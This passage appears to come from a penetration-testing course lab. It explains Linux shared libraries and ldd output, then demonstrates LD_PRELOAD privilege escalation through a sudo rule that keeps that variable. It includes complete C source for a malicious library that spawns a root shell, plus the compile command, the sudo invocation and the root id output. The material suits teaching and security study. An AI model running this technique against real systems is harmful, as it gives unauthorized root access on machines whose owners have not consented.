**Shared Libraries**

It is common for Linux programs to use dynamically linked shared object libraries. Libraries contain compiled code or other data that developers use to avoid having to re-write the same pieces of code across multiple programs. Two types of libraries exist in Linux: static libraries (denoted by the .a file extension) and dynamically linked shared object libraries (denoted by the .so file extension). When a program is compiled, static libraries become part of the program and can not be altered. However, dynamic libraries can be modified to control the execution of the program that calls them.

There are multiple methods for specifying the location of dynamic libraries, so the system will know where to look for them on program execution. This includes the -rpath or -rpath-link flags when compiling a program, using the environmental variables LD\_RUN\_PATH or LD\_LIBRARY\_PATH, placing libraries in the /lib or /usr/lib default directories, or specifying another directory containing the libraries within the /etc/ld.so.conf configuration file.

Additionally, the LD\_PRELOAD environment variable can load a library before executing a binary. The functions from this library are given preference over the default ones. The shared objects required by a binary can be viewed using the ldd utility.

htb\_student@NIX02:~$ ldd /bin/ls

linux-vdso.so.1 => (0x00007fff03bc7000)

libselinux.so.1 => /lib/x86\_64-linux-gnu/libselinux.so.1 (0x00007f4186288000)

libc.so.6 => /lib/x86\_64-linux-gnu/libc.so.6 (0x00007f4185ebe000)

libpcre.so.3 => /lib/x86\_64-linux-gnu/libpcre.so.3 (0x00007f4185c4e000)

libdl.so.2 => /lib/x86\_64-linux-gnu/libdl.so.2 (0x00007f4185a4a000)

/lib64/ld-linux-x86-64.so.2 (0x00007f41864aa000)

libpthread.so.0 => /lib/x86\_64-linux-gnu/libpthread.so.0 (0x00007f418582d000)

The image above lists all the libraries required by /bin/ls, along with their absolute paths.

**LD\_PRELOAD Privilege Escalation**

Let's see an example of how we can utilize the [LD\_PRELOAD](https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html) environment variable to escalate privileges. For this, we need a user with sudo privileges.

htb\_student@NIX02:~$ sudo -l

Matching Defaults entries for daniel.carter on NIX02:

env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env\_keep+=LD\_PRELOAD

User daniel.carter may run the following commands on NIX02:

(root) NOPASSWD: /usr/sbin/apache2 restart

This user has rights to restart the Apache service as root, but since this is NOT a [GTFOBin](https://gtfobins.github.io/#apache) and the /etc/sudoers entry is written specifying the absolute path, this could not be used to escalate privileges under normal circumstances. However, we can exploit the LD\_PRELOAD issue to run a custom shared library file. Let's compile the following library:

Code: c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void \_init() {

unsetenv("LD\_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

We can compile this as follows:

htb\_student@NIX02:~$ gcc -fPIC -shared -o root.so root.c -nostartfiles

Finally, we can escalate privileges using the below command. Make sure to specify the full path to your malicious library file.

htb\_student@NIX02:~$ sudo LD\_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

id

uid=0(root) gid=0(root) groups=0(root)